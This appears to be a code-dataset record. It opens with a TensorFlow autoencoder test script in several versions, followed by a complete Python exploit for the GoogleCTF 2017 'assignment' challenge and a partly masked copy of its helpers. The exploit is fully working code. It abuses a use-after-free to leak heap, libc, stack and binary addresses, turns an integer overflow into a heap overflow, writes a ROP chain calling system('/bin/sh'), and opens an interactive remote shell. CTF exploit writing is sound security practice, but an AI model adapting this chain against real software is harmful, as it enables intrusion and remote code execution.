open(model_obj.dir_obj.log_emb_path +\n '/latent_representation.csv', 'w')\n for step, curr_input in enumerate(reader.data_iterator(input)):\n feed_dict = {model_obj.input: curr_input}\n total_loss, latent_rep, summary_test = session.run([model_obj.\n loss, model_obj.rep, model_obj.merged_summary_test],\n feed_dict=feed_dict)\n epoch_combined_loss += total_loss\n self.iter_test += 1\n if self.iter_test % params.log_step == 0 and params.log:\n writer.add_summary(summary_test, self.iter_test)\n for each_rep in latent_rep:\n output_file.write(' '.join(str(x) for x in each_rep).strip(\n ) + '\\n')\n epoch_combined_loss /= step\n output_file.close()\n return epoch_combined_loss, min_loss\n\n def run_test(self):\n global test_writer\n mode_test = 'TE'\n params_test = ParamsClass(mode=mode_test)\n dir_test = Directory(mode_test)\n test_reader = Reader(params_test)\n test_instances = test_reader.read_image_data(dir_test.data_filename)\n random.seed(4321)\n global_min_loss = sys.float_info.max\n print('***** INITIALIZING TF GRAPH *****')\n with tf.Graph().as_default(), tf.Session() as session:\n with tf.variable_scope('model'):\n test_obj = Autoencoder(params_test, dir_test)\n model_saver = tf.train.Saver()\n model_saver.restore(session, test_obj.dir_obj.test_model)\n if params_test.log:\n test_writer = tf.summary.FileWriter(dir_test.log_path + '/test'\n )\n print('**** TF GRAPH INITIALIZED ****')\n start_time = time.time()\n test_loss, _ = self.run_epoch(session, global_min_loss,\n test_obj, test_reader, test_instances, test_writer)\n print('Epoch: %d Test loss: %.4f' % (1, test_loss))\n curr_time = time.time()\n print('1 epoch run takes ' + str((curr_time - start_time) / 60) +\n ' minutes.')\n if params_test.log:\n test_writer.close()\n", "step-4": "import numpy as np\nfrom global_module.implementation_module import Autoencoder\nfrom global_module.implementation_module import Reader\nimport tensorflow as tf\nfrom global_module.settings_module import ParamsClass, Directory, Dictionary\nimport random\nimport sys\nimport time\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n\n def run_epoch(self, session, min_loss, model_obj, reader, input, writer):\n global epoch_combined_loss, step\n params = model_obj.params\n epoch_combined_loss = 0.0\n output_file = open(model_obj.dir_obj.log_emb_path +\n '/latent_representation.csv', 'w')\n for step, curr_input in enumerate(reader.data_iterator(input)):\n feed_dict = {model_obj.input: curr_input}\n total_loss, latent_rep, summary_test = session.run([model_obj.\n loss, model_obj.rep, model_obj.merged_summary_test],\n feed_dict=feed_dict)\n epoch_combined_loss += total_loss\n self.iter_test += 1\n if self.iter_test % params.log_step == 0 and params.log:\n writer.add_summary(summary_test, self.iter_test)\n for each_rep in latent_rep:\n output_file.write(' '.join(str(x) for x in each_rep).strip(\n ) + '\\n')\n epoch_combined_loss /= step\n output_file.close()\n return epoch_combined_loss, min_loss\n\n def run_test(self):\n global test_writer\n mode_test = 'TE'\n params_test = ParamsClass(mode=mode_test)\n dir_test = Directory(mode_test)\n test_reader = Reader(params_test)\n test_instances = test_reader.read_image_data(dir_test.data_filename)\n random.seed(4321)\n global_min_loss = sys.float_info.max\n print('***** INITIALIZING TF GRAPH *****')\n with tf.Graph().as_default(), tf.Session() as session:\n with tf.variable_scope('model'):\n test_obj = Autoencoder(params_test, dir_test)\n model_saver = tf.train.Saver()\n model_saver.restore(session, test_obj.dir_obj.test_model)\n if params_test.log:\n test_writer = tf.summary.FileWriter(dir_test.log_path + '/test'\n )\n print('**** TF GRAPH INITIALIZED ****')\n start_time = time.time()\n test_loss, _ = self.run_epoch(session, global_min_loss,\n test_obj, test_reader, test_instances, test_writer)\n print('Epoch: %d Test loss: %.4f' % (1, test_loss))\n curr_time = time.time()\n print('1 epoch run takes ' + str((curr_time - start_time) / 60) +\n ' minutes.')\n if params_test.log:\n test_writer.close()\n", "step-5": "import numpy as np\nfrom global_module.implementation_module import Autoencoder\nfrom global_module.implementation_module import Reader\nimport tensorflow as tf\nfrom global_module.settings_module import ParamsClass, Directory, Dictionary\nimport random\nimport sys\nimport time\n\n\nclass Test:\n def __init__(self):\n self.iter_test = 0\n\n def run_epoch(self, session, min_loss, model_obj, reader, input, writer):\n global epoch_combined_loss, step\n params = model_obj.params\n epoch_combined_loss = 0.0\n\n output_file = open(model_obj.dir_obj.log_emb_path + '/latent_representation.csv', 'w')\n\n for step, curr_input in enumerate(reader.data_iterator(input)):\n feed_dict = {model_obj.input: curr_input}\n total_loss, latent_rep, summary_test = session.run([model_obj.loss, model_obj.rep, model_obj.merged_summary_test], feed_dict=feed_dict)\n\n epoch_combined_loss += total_loss\n\n self.iter_test += 1\n if self.iter_test % params.log_step == 0 and params.log:\n writer.add_summary(summary_test, self.iter_test)\n\n for each_rep in latent_rep:\n output_file.write(' '.join(str(x) for x in each_rep).strip() + '\\n')\n\n epoch_combined_loss /= step\n output_file.close()\n return epoch_combined_loss, min_loss\n\n def run_test(self):\n global test_writer\n mode_test = 'TE'\n\n # test object\n params_test = ParamsClass(mode=mode_test)\n dir_test = Directory(mode_test)\n test_reader = Reader(params_test)\n test_instances = test_reader.read_image_data(dir_test.data_filename)\n\n random.seed(4321)\n\n global_min_loss = sys.float_info.max\n\n print('***** INITIALIZING TF GRAPH *****')\n\n with tf.Graph().as_default(), tf.Session() as session:\n with tf.variable_scope(\"model\"):\n test_obj = Autoencoder(params_test, dir_test)\n\n model_saver = tf.train.Saver()\n model_saver.restore(session, test_obj.dir_obj.test_model)\n\n if params_test.log:\n test_writer = tf.summary.FileWriter(dir_test.log_path + '/test')\n\n print('**** TF GRAPH INITIALIZED ****')\n\n start_time = time.time()\n\n test_loss, _, = self.run_epoch(session, global_min_loss, test_obj, test_reader, test_instances, test_writer)\n print(\"Epoch: %d Test loss: %.4f\" % (1, test_loss))\n\n curr_time = time.time()\n print('1 epoch run takes ' + str((curr_time - start_time) / 60) + ' minutes.')\n\n if params_test.log:\n test_writer.close()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
#!/usr/bin/env python3 # # Exploit for "assignment" of GoogleCTF 2017 # # CTF-quality exploit... # # Slightly simplified and shortened explanation: # # The bug is a UAF of one or both values during add_assign() if a GC is # triggered during allocate_value(). The exploit first abuses this to leak a # pointer into the heap by confusing an Integer Value with a Property. It then # abuses the UAF differently to create a fake String instance which is # concatenated and returned. By faking a String in the heap, we can read # arbitrary memory. We leak the addresses of libc and the stack. Next the # exploit does some heap feng shui, then fakes a string with length 0xffffffXX, # which triggers an integer overflow during string_concat(). This gives us a # heap-based buffer overflow. With that we first corrupt a Property to point # into the stack, then overwrite the length of the fake string with 0 to stop # the memcpy. We leak the address of the binary from the return address. Next # we write a value to the fake property. This writes a pointer to the heap into # the stack. With that we corrupt only the first byte of the input buffer # pointer so it now points further down into the stack. The next call to # readline() by the application then writes into the stack frame of readline() # and ultimately overwrites the return address => we get ROP: # # [+] Heap base @ 0x55cd3d465000 # [+] libc @ 0x7f7ea1f79000 # [+] stack @ 0x7ffcf044f448 # [+] /bin/sh @ 0x7f7ea20f9103 # [+] input_buf @ 0x7ffcf044f120 # [+] return address @ 0x7ffcf044f118 # [+] binary @ 0x55cd3c696000 # [+] offset to return address: 0x18 # [+] property name: j # id # uid=1337(user) gid=1337(user) groups=1337(user) # ls # assignment # flag.txt # cat flag.txt # CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53} # # Author: Samuel <saelo> Groß # import socket import termios import tty import time import sys import select import os import re import telnetlib import string from struct import pack, unpack from binascii import hexlify, unhexlify # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Global Config # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #TARGET = ('localhost', 4444) TARGET = ('assignment.ctfcompetition.com', 1337) # Enable "wireshark" mode, pretty prints all incoming and outgoing network traffic. NETDEBUG = False # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Encoding and Packing # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ def e(d): """Encode the given string instance using UTF-8.""" return d.encode('UTF-8') def d(d): """Decode the given bytes instance using UTF-8.""" return d.decode('UTF-8') def p32(d): """Return d packed as 32-bit unsigned integer (little endian).""" return pack('<I', d) def u32(d): """Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).""" return unpack('<I', d)[0] def p64(d): """Return d packed as 64-bit unsigned integer (little endian).""" return pack('<Q', d) def u64(d): """Return the number represented by d when interpreted as a 64-bit unsigned integer (little endian).""" return unpack('<Q', d)[0] # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Output # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ def print_good(msg): print(ansi(Term.BOLD) + '[+] ' + msg + ansi(Term.CLEAR)) def print_bad(msg): print(ansi(Term.COLOR_MAGENTA) + '[-] ' + msg + ansi(Term.CLEAR)) def print_info(msg): print('[*] ' + msg) # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Misc. # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ def bytes_and_strings_are_cool(func): """Decorator to encode arguments that are string instances.""" def inner(*args, **kwargs): nargs = tuple(map(lambda arg: e(arg) if isinstance(arg, str) else arg, args)) nkwargs = dict(map(lambda k, v: (k, e(v)) if isinstance(v, str) else (k, v), kwargs)) return func(*nargs, **nkwargs) return inner def validate(data, badchars): """Assert that no badchar occurs in data.""" assert(all(b not in data for b in badchars)) def is_printable(b): """Return true if the given byte is a printable ASCII character.""" return b in e(string.printable) def hexdump(data): """Return a hexdump of the given data. Similar to what `hexdump -C` produces.""" def is_hexdump_printable(b): return b in b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\|\'";:/?.,<>' lines = [] chunks = (data[i*16:i*16+16] for i in range((len(data) + 15) // 16)) for i, chunk in enumerate(chunks): hexblock = ['{:02x}'.format(b) for b in chunk] left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:]) asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for b in chunk) lines.append('{:08x} {:23} {:23} |{}|'.format(i*16, left, right, asciiblock)) return '\n'.join(lines) class Term: COLOR_BLACK = '30' COLOR_RED = '31' COLOR_GREEN = '32' COLOR_BROWN = '33' COLOR_BLUE = '34' COLOR_MAGENTA = '35' COLOR_CYAN = '36' COLOR_WHITE = '37' CLEAR = '0' UNDERLINE = '4' BOLD = '1' ESCAPE_START = '\033[' ESCAPE_END = 'm' # TODO rename to style and append Term.Clear ? def ansi(*args): """Construct an ANSI terminal escape code.""" code = Term.ESCAPE_START code += ';'.join(args) code += Term.ESCAPE_END return code class DisconnectException(Exception): pass # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Pattern Generation # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ class Pattern: """De-Bruijn sequence generator.""" alphabet = string.digits + string.ascii_letters def __init__(self, length): if length <= len(self.alphabet): self._seq = self.alphabet[:length] elif length <= len(self.alphabet) ** 2: self._seq = self._generate(2)[:length] elif length <= len(self.alphabet) ** 3: self._seq = self._generate(3)[:length] elif length <= len(self.alphabet) ** 4: self._seq = self._generate(4)[:length] else: raise Exception("Pattern length is way to large") def _generate(self, n): """Generate a De Bruijn sequence.""" # See https://en.wikipedia.org/wiki/De_Bruijn_sequence k = len(self.alphabet) a = [0] * k * n sequence = [] def db(t, p): if t > n: if n % p == 0: sequence.extend(a[1:p + 1]) else: a[t] = a[t - p] db(t + 1, p) for j in range(a[t - p] + 1, k): a[t] = j db(t + 1, t) db(1, 1) return ''.join(self.alphabet[i] for i in sequence) def bytes(self): """Return this sequence as bytes.""" return e(self._seq) def __str__(self): """Return this sequence as string.""" return self._seq @bytes_and_strings_are_cool def offset(self, needle): """Returns the index of 'needle' in this sequence. 'needle' should be of type string or bytes. If an integer is provided it will be treated as 32-bit or 64-bit little endian number, depending on its bit length. """ if isinstance(needle, int): if needle.bit_length() <= 32: needle = p32(needle) else: needle = p64(needle) needle = d(needle) idx = self._seq.index(needle) if self._seq[idx+len(needle):].find(needle) != -1: raise ValueError("Multiple occurances found!") return idx # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Network # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ class Channel: """Convenience wrapper around a socket.""" OUTGOING_COLOR = Term.COLOR_RED INCOMING_COLOR = Term.COLOR_BLUE def __init__(self, sock, verbose): self._s = sock self._verbose = verbose self._buf = bytearray() def _prettyprint(self, data, outgoing): """Prettyprint the given data. This does the following: All data that is valid ASCII is colorized according to the direction of the traffic. Everything else is converted to hex, then printed in bold and underline for visibility. Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be detected in arbitrary binary streams. """ TEXT = 0 BINARY = 1 # Various Thresholds for the heuristics below X = 4 Y = 16 Z = 2 color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR # Step 1: Tag every byte of the input stream with it's detected type. parts = [] curr = '' for b in data: if is_printable(b): parts.append((TEXT, b)) else: parts.append((BINARY, b)) # Step 2: Merge neighboring bytes of the same type and convert the sequences to type bytes. i = 0 mergedparts = [] while i < len(parts): t = parts[i][0] arr = [parts[i][1]] j = i+1 while j < len(parts) and parts[j][0] == t: arr.append(parts[j][1]) j += 1 i = j # Heuristic: If there are Y ASCII bytes with the same value followed by Z ASCII bytes followed by binary data, treat the Z bytes as binary as well. extra = [] if t == TEXT and len(arr) > Y and i < len(parts) - 1: mid = len(arr) - Z - 1 start, end = mid, mid char = arr[mid] while start >= 0 and arr[start] == char: start -= 1 while end < len(arr) and arr[end] == char: end += 1 # start and end point outside the range of equal-valued characters now. if end - start >= Y+2 and end < len(parts): extra = arr[end:] arr = arr[:end] mergedparts.append((t, bytes(arr))) if extra: mergedparts.append((BINARY, bytes(extra))) parts = mergedparts # Step 3: Merge all parts and prepend the ansi terminal escape sequences for the given type. buf = '' last = None for tag, value in parts: # Heuristic: If there is an ASCII sequence of X bytes or less surrounded by binary data, treat those as binary as well. if tag == TEXT and len(value) <= X and last == BINARY: tag = BINARY if tag == TEXT: buf += ansi(Term.CLEAR) + ansi(color) else: buf += ansi(color, Term.BOLD, Term.UNDERLINE) value = hexlify(value) buf += d(value) last = tag buf += ansi(Term.CLEAR) # Step 4: Print :) print(buf, end='') sys.stdout.flush() def setVerbose(self, verbose): """Set verbosity of this channel.""" self._verbose = verbose def recv(self, n=4096): """Return up to n bytes of data from the remote end. Buffers incoming data internally. NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead. """ if len(self._buf) < n: buf = self._s.recv(65536) if not buf and not self._buf: raise DisconnectException("Server disconnected.") if self._verbose: self._prettyprint(buf, False) self._buf += buf # This code also works if n > len(self._buf) buf = self._buf[:n] self._buf = self._buf[n:] return buf def recvn(self, n): """Return exactly n bytes of data from the remote end.""" data = [] while len(data) != n: data.append(self.recv(1)) return b''.join(data) @bytes_and_strings_are_cool def recvtil(self, delim): """Read data from the remote end until delim is found in the data. The first occurance of delim is included in the returned buffer. """ buf = b'' # TODO maybe not make this O(n**2)... while not delim in buf: buf += self.recv(1) return buf def recvregex(self, regex): """Receive incoming data until it matches the given regex. Returns the match object. IMPORTANT: Since the data is coming from the network, it's usually a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function will return as soon as 'addr: 0xf' is read. Instead, make sure to end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\n'. """ if isinstance(regex, str): regex = re.compile(regex) buf = '' match = None while not match: buf += d(self.recv(1)) match = regex.search(buf) return match def recvline(self): """Receive and return a line from the remote end. The trailing newline character will be included in the returned buffer. """ return self.recvtil('\n') def send(self, buf): """Send all data in buf to the remote end.""" if self._verbose: self._prettyprint(buf, True) self._s.sendall(buf) def sendnum(self, n): """Send the string representation of n followed by a newline character.""" self.sendline(str(n)) @bytes_and_strings_are_cool def sendline(self, l): """Prepend a newline to l and send everything to the remote end.""" self.send(l + b'\n') def interact(self): """Interact with the remote end: connect stdout and stdin to the socket.""" # TODO maybe use this at some point: https://docs.python.org/3/library/selectors.html self._verbose = False try: while True: available, _, _ = select.select([sys.stdin, self._s], [], []) for src in available: if src == sys.stdin: data = sys.stdin.buffer.read1(1024) # Only one read() call, otherwise this breaks when the tty is in raw mode self.send(data) else: data = self.recv(4096) sys.stdout.buffer.write(data) sys.stdout.flush() except KeyboardInterrupt: return except DisconnectException: print_info("Server disconnected.") return # # Telnet emulation # def telnet(shell='/bin/bash'): """Telnet emulation. Opens a PTY on the remote end and connects the master side to the socket. Then spawns a shell connected to the slave end and puts the controlling TTY on the local machine into raw mode. Result: Something similar to a telnet/(plaintext)ssh session. Vim, htop, su, less, etc. will work with this. !!! This function only works if the channel is connected to a shell !!! """ assert(sys.stdin.isatty()) c.setVerbose(False) # Open a PTY and spawn a bash connected to the slave end on the remote side code = 'import pty; pty.spawn([\'{}\', \'-i\'])'.format(shell) sendline('python -c "{}"; exit'.format(code)) time.sleep(0.5) # No really good way of knowing when the shell has opened on the other side... # Should maybe put some more functionality into the inline python code instead. # Save current TTY settings old_settings = termios.tcgetattr(sys.stdin.fileno()) # Put TTY into raw mode tty.setraw(sys.stdin) # Resize remote terminal # Nice-to-have: also handle terminal resize cols, rows = os.get_terminal_size(sys.stdin.fileno()) sendline('stty rows {} cols {}; echo READY'.format(rows, cols)) recvtil('READY\r\n') # terminal echo recvtil('READY\r\n') # command output interact() # Restore previous settings termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings) # # Convenience wrappers that use the global socket instance # def send(b): c.send(b) def sendline(l): c.sendline(l) def sendnum(n): c.sendnum(n) def recv(n): return c.recv(n) def recvtil(delim): return c.recvtil(delim) def recvn(n): return c.recvn(n) def recvline(): return c.recvline() def recvregex(r): return c.recvregex(r) def interact(): c.interact() # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Global Setup # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ s = socket.create_connection(TARGET) #s.settimeout(2) c = Channel(s, NETDEBUG) # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Your code here # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ALPHABET = 'abcdefghijklmnopqrstuvwxyz' def evl(code): sendline(code) def readvar(name): evl('=') recvtil('Bad token: 0-1\n> ') evl(name) response = recvtil('> ') return response.split(b'\n')[0] def readintvar(name): return int(d(readvar(name))) def readstrvar(name): return readvar(name)[1:-1] def heapleak(): """Free the lhs and rhs values during add_assign. ...""" for i in range(16): evl('{}'.format(i)) # Trigger heap info leak evl('h=0+0') return readintvar('h') & 0xfffffffffffff000 def gc(remaining): """Trigger gargabe collection""" for i in range(remaining): evl('{}'.format(i)) def leak(addr, length): """Leaks process memory by abusing the UAF to temporarily inject a fake string.""" fake_str_addr = heap_base + 0xb0 fake_str = p64(length) + p64(addr) evl(b'l="' + fake_str + b'"') # will be at offset 0xb0 from heap start for i in range(15): evl('{}'.format(i)) # 19 slots filled # allocate 20th slot with integer value containing the addr of our fake string. The allocate_value() during do_add_assign triggers GC and frees the lhs value # Then the output value is allocated into the same slot. Since the output value is String (type of x), # lhs is turned into a string with controlled pointer evl('a={}+x'.format(fake_str_addr)) gc(16) return readstrvar('a')[0:length] def leak2(addr, length): """Same as above, but different offsets...""" fake_str_addr = heap_base + 0x170 fake_str = p64(length) + p64(addr) evl(b'l="' + fake_str + b'"') # will be at offset 0xb0 from heap start for i in range(12): evl('{}'.format(i)) evl('a={}+x'.format(fake_str_addr)) return readstrvar('a')[0:length] def pwn(): global heap_base recvtil('>') evl('x="XXXXXXXXXXXXXXXX"') # Workaround, need global object or else GC will crash # 2 slots always filled from now on (global object and int value 1337) heap_base = heapleak() # 3 slots always filled from now on print_good("Heap base @ 0x{:x}".format(heap_base)) # Create a smallbin chunk so we can leak a libc pointer evl('"{}"'.format('A' * 0x100)) gc(20 - 4) # Leak freelist pointers pointing into the libc heap_mem = leak(heap_base, 0x1000) for i in range(0, len(heap_mem)-16, 8): # Search for 2 consecutive pointers, those will be the flink and blink of the freed smallbin chunk flink = u64(heap_mem[i:i+8]) blink = u64(heap_mem[i+8:i+16]) if (abs(flink - heap_base) > 0x10000 and flink > 0x7f0000000000 and flink < 0x800000000000 and blink > 0x7f0000000000 and blink < 0x800000000000): break else: print_bad("No freelist pointers found :(") return libc = flink - 0x3c1928 print_good("libc @ 0x{:x}".format(libc)) # Leak stack pointer by reading environ pointer in libc env_ptr = u64(leak2(libc + 0x3c44a0, 8)) print_good("stack @ 0x{:x}".format(env_ptr)) # Calculate addresses system = libc + 0x46590 bin_sh = libc + 0x180103 pop_rdi = libc + 0x22b9a pop_rsi = libc + 0x24885 pop_rdx = libc + 0x1b8e add_rsp_0x48 = libc + 0xf5b8b print_good("/bin/sh @ 0x{:x}".format(bin_sh)) input_buf = env_ptr - 0x328 print_good("input_buf @ 0x{:x}".format(input_buf)) ret_addr = env_ptr - 0x328 - 8 print_good("return address @ 0x{:x}".format(ret_addr)) # 5 slots always filled from now # # Heap spray with Property instances to get a controlled heap layout again # # Make some objects evl('l.a=x') evl('h.a=x') evl('a.a=x') evl('b.a=x') evl('c.a=x') evl('d.a=x') evl('e.a=x') evl('f.a=x') # Trigger GC for i in range(9): evl('"{}"'.format('A' * 0x10)) evl('1337') # 10 slots used # Allocate lots of properties (but no values) for o in ['l', 'a', 'h', 'a', 'b', 'c', 'd', 'e', 'f']: for p in ALPHABET: evl('{}.{}=x'.format(o, p)) # Set up heap layout for unbounded heap overflow. We need the following layout: # | chunk to overflow from | ... | Property to corrupt | ... | Fake string | # We overflow into "Fake string" to set it's size to 0 and avoid a segfault. for i in range(6): evl('1337') # Create some properties for i in 'ghijk': evl('{}=x'.format(i)) # Fake string with length 0xffffffXX => leads to an integer overflow during string_concat and subsequently a heap buffer overflow fake_str = p64(0xffffffffffffffff - 0xf - (0x180 - 0x10)) + p64(0x414141414141) + b'D'*0xf0 evl(b'n="' + fake_str + b'"') payload = b'\x00' * 64 + p64(ord('p')) + p64(input_buf + 16 + 0x100) +p64(input_buf-7) payload += b'\x00' * (0x180 - len(payload)) evl(b'o="' + payload + b'"') fake_str_addr = heap_base + 0x1e80 # Trigger the overflow evl('p=o+{}'.format(fake_str_addr)) # Set up a fake string property in the stack ('p' points to it). We need to leak the binary base from the return address payload = b'A' * 0x100 payload += p64(1) + p64(input_buf + 16 + 0x100 + 0x18) + p64(0) payload += p64(8) + p64(ret_addr) evl(payload) binary = readstrvar('p') binary = u64(binary) - 2769 print_good("binary @ 0x{:x}".format(binary)) offset_to_ret = ret_addr - (input_buf & 0xffffffffffffff00) print_good("offset to return address: 0x{:x}".format(offset_to_ret)) # Some unfortunate restrictions... if offset_to_ret > 0x28 or offset_to_ret < 0: print_bad("Bad offset") return prop_name = p64(binary + 0xAC9)[1] if prop_name < ord('A') or prop_name > ord('z'): print_bad("Bad propery name: {}".format(prop_name)) return prop_name = chr(prop_name) print_good("property name: {}".format(prop_name)) # Write ROP chain into stack payload = b'A' * 56 payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system) validate(payload, [b'\n']) evl(payload) # Trigger corruption of InputBuffer.ptr to point further down in the stack evl('{}=42'.format(prop_name)) # Next input will be written into the stack frame of readline(). Overwrite the return address with "add rsp, 0x48 ; ret" payload = b'A'*offset_to_ret payload += p64(add_rsp_0x48) validate(payload, [b'\n']) evl(payload) # Wait a short while and drop into interactive mode == shell time.sleep(0.5) interact() if __name__ == '__main__': pwn()
normal
{ "blob_id": "e4a05cbfd0959402eacf21959c68e449d15b1e74", "index": 7651, "step-1": "<mask token>\n\n\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\n\n<mask token>\n\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).\"\"\"\n return unpack('<I', d)[0]\n\n\n<mask token>\n\n\ndef validate(data, badchars):\n \"\"\"Assert that no badchar occurs in data.\"\"\"\n assert all(b not in data for b in badchars)\n\n\n<mask token>\n\n\ndef hexdump(data):\n \"\"\"Return a hexdump of the given data. Similar to what `hexdump -C` produces.\"\"\"\n\n def is_hexdump_printable(b):\n return (b in\n b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\\\|\\'\";:/?.,<>'\n )\n lines = []\n chunks = (data[i * 16:i * 16 + 16] for i in range((len(data) + 15) // 16))\n for i, chunk in enumerate(chunks):\n hexblock = ['{:02x}'.format(b) for b in chunk]\n left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:])\n asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for\n b in chunk)\n lines.append('{:08x} {:23} {:23} |{}|'.format(i * 16, left,\n right, asciiblock))\n return '\\n'.join(lines)\n\n\nclass Term:\n COLOR_BLACK = '30'\n COLOR_RED = '31'\n COLOR_GREEN = '32'\n COLOR_BROWN = '33'\n COLOR_BLUE = '34'\n COLOR_MAGENTA = '35'\n COLOR_CYAN = '36'\n COLOR_WHITE = '37'\n CLEAR = '0'\n UNDERLINE = '4'\n BOLD = '1'\n ESCAPE_START = '\\x1b['\n ESCAPE_END = 'm'\n\n\n<mask token>\n\n\nclass DisconnectException(Exception):\n pass\n\n\nclass Pattern:\n \"\"\"De-Bruijn sequence generator.\"\"\"\n alphabet = string.digits + string.ascii_letters\n\n def __init__(self, length):\n if length <= len(self.alphabet):\n self._seq = self.alphabet[:length]\n elif length <= len(self.alphabet) ** 2:\n self._seq = self._generate(2)[:length]\n elif length <= len(self.alphabet) ** 3:\n self._seq = self._generate(3)[:length]\n elif length <= len(self.alphabet) ** 4:\n self._seq = self._generate(4)[:length]\n else:\n raise Exception('Pattern length is way to large')\n\n def _generate(self, n):\n \"\"\"Generate a De Bruijn sequence.\"\"\"\n k = len(self.alphabet)\n a = [0] * k * n\n sequence = []\n\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p + 1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return ''.join(self.alphabet[i] for i in sequence)\n\n def bytes(self):\n \"\"\"Return this sequence as bytes.\"\"\"\n return e(self._seq)\n\n def __str__(self):\n \"\"\"Return this sequence as string.\"\"\"\n return self._seq\n\n @bytes_and_strings_are_cool\n def offset(self, needle):\n \"\"\"Returns the index of 'needle' in this sequence.\n\n 'needle' should be of type string or bytes. If an integer is provided\n it will be treated as 32-bit or 64-bit little endian number, depending\n on its bit length.\n \"\"\"\n if isinstance(needle, int):\n if needle.bit_length() <= 32:\n needle = p32(needle)\n else:\n needle = p64(needle)\n needle = d(needle)\n idx = self._seq.index(needle)\n if self._seq[idx + len(needle):].find(needle) != -1:\n raise ValueError('Multiple occurances found!')\n return idx\n\n\nclass Channel:\n \"\"\"Convenience wrapper around a socket.\"\"\"\n OUTGOING_COLOR = Term.COLOR_RED\n INCOMING_COLOR = Term.COLOR_BLUE\n\n def __init__(self, sock, verbose):\n self._s = sock\n self._verbose = verbose\n self._buf = bytearray()\n\n def _prettyprint(self, data, outgoing):\n \"\"\"Prettyprint the given data.\n\n This does the following: All data that is valid ASCII is colorized according to the direction of the traffic.\n Everything else is converted to hex, then printed in bold and underline for visibility.\n\n Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be\n detected in arbitrary binary streams.\n \"\"\"\n TEXT = 0\n BINARY = 1\n X = 4\n Y = 16\n Z = 2\n color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR\n parts = []\n curr = ''\n for b in data:\n if is_printable(b):\n parts.append((TEXT, b))\n else:\n parts.append((BINARY, b))\n i = 0\n mergedparts = []\n while i < len(parts):\n t = parts[i][0]\n arr = [parts[i][1]]\n j = i + 1\n while j < len(parts) and parts[j][0] == t:\n arr.append(parts[j][1])\n j += 1\n i = j\n extra = []\n if t == TEXT and len(arr) > Y and i < len(parts) - 1:\n mid = len(arr) - Z - 1\n start, end = mid, mid\n char = arr[mid]\n while start >= 0 and arr[start] == char:\n start -= 1\n while end < len(arr) and arr[end] == char:\n end += 1\n if end - start >= Y + 2 and end < len(parts):\n extra = arr[end:]\n arr = arr[:end]\n mergedparts.append((t, bytes(arr)))\n if extra:\n mergedparts.append((BINARY, bytes(extra)))\n parts = mergedparts\n buf = ''\n last = None\n for tag, value in parts:\n if tag == TEXT and len(value) <= X and last == BINARY:\n tag = BINARY\n if tag == TEXT:\n buf += ansi(Term.CLEAR) + ansi(color)\n else:\n buf += ansi(color, Term.BOLD, Term.UNDERLINE)\n value = hexlify(value)\n buf += d(value)\n last = tag\n buf += ansi(Term.CLEAR)\n print(buf, end='')\n sys.stdout.flush()\n\n def setVerbose(self, verbose):\n \"\"\"Set verbosity of this channel.\"\"\"\n self._verbose = verbose\n\n def recv(self, n=4096):\n \"\"\"Return up to n bytes of data from the remote end.\n\n Buffers incoming data internally.\n\n NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead.\n \"\"\"\n if len(self._buf) < n:\n buf = self._s.recv(65536)\n if not buf and not self._buf:\n raise DisconnectException('Server disconnected.')\n if self._verbose:\n self._prettyprint(buf, False)\n self._buf += buf\n buf = self._buf[:n]\n self._buf = self._buf[n:]\n return buf\n\n def recvn(self, n):\n \"\"\"Return exactly n bytes of data from the remote end.\"\"\"\n data = []\n while len(data) != n:\n data.append(self.recv(1))\n return b''.join(data)\n\n @bytes_and_strings_are_cool\n def recvtil(self, delim):\n \"\"\"Read data from the remote end until delim is found in the data.\n\n The first occurance of delim is included in the returned buffer.\n \"\"\"\n buf = b''\n while not delim in buf:\n buf += self.recv(1)\n return buf\n\n def recvregex(self, regex):\n 